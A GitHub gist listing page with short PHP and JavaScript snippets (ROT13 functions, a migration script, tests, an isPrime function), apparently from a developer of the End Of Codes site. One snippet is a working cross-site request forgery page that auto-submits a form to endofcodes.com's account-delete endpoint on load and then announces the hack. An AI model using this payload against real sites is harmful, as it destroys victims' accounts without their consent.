Skip to content

Instantly share code, notes, and snippets.

View pkakelas's full-sized avatar
🎯
Focusing

Dimitris Lamprinos pkakelas

🎯
Focusing
View GitHub Profile
<?php
function encrypt($phrase) {
$letters = str_split($phrase);
$count = 0;
foreach ($letters as $letter) {
for($i = 0; $i < 13; $i++) {
if($letter == 'z') {
$letter = 'a';
}
@pkakelas
pkakelas / gist:7642875
Created November 25, 2013 15:20
End Of Codes miggration script
<?php
$sql = array(
"CREATE TABLE
'countries' (
'id' INT PRIMARY KEY,
'country' TEXT,
'shortname' TEXT
);",
"ALTER TABLE
@pkakelas
pkakelas / gist:7787936
Created December 4, 2013 14:07
Rot 13 Alternative way
<?php
function encrypt($phrase) {
$alphabet = array('', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$phrase = str_split($phrase);
$count = 0;
foreach ($phrase as $letter) {
$key = array_search($letter, $alphabet);
if (!$key) {
$hash[$count] = $letter;
@pkakelas
pkakelas / gist:7840929
Created December 7, 2013 13:02
Eoc dob
<select name="day">
89 <option>select day</option>
90 <?php
91 for ( $i = 1; $i < 32; $i++ ) {
92 ?><option value="<?php
93 echo $i;
94 ?>"><?php
95 echo $i;
96 ?></option><?php
97 }
<form name="myForm" id="myForm" action="http://endofcodes.com/index.php?resource=user&amp;method=delete" method="POST">
<input type="submit" value="Delete your account">
</form>
<script type="text/javascript">
window.onload=function(){
submitform();
function submitform() {
document.forms["myForm"].submit();
alert('pkakelas just hacked you!');
}
@pkakelas
pkakelas / gist:8944422
Created February 11, 2014 21:19
testCreateForgotPasswordLink()
public function testCreateForgotPasswordLink() {
$user = $this->buildUser( 'pkakelas' );
$link = $user->createForgotPasswordLink();
$this->assertTrue( isset( $link ), 'CreateForgotPasswordLink must return a variable' );
$this->assertTrue( isset( $user->forgotPasswordToken ), 'CreateForgotPasswordLink must save the token to $user->forgotPassword Token' );
$this->assertTrue( isset( $user->forgotPasswordRequestCreated ), 'CreateForgotPasswordLink must save the time it created the link to $user->forgotPasswordRequestCreated' );
}
@pkakelas
pkakelas / gist:8957012
Created February 12, 2014 14:58
isPrime()
<?php
function isPrime( $num ) {
if ( $num % 2 == 0) {
return "$num is not a prime number";
}
for ( $counter = $num - 1; $counter > 1; $counter-- ) {
if ( $num % $counter == 0 ) {
return "$num is not a prime number";
}
}
<?php
$form = new Form( 'session', 'delete' );
$form->id = 'logout-form';
?>
<li>
<a href="#" onclick="document.getElementById('logout-form').submit();">Log out</a>
</li><?php
}
1 var button = document.getElementById( "logout" );
2
3 button.addEventListener(
4 'click', function() {
5 document.getElementById( 'logout-form' ).submit();
6 }, false
7 );
8
num = 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450
digits = []
for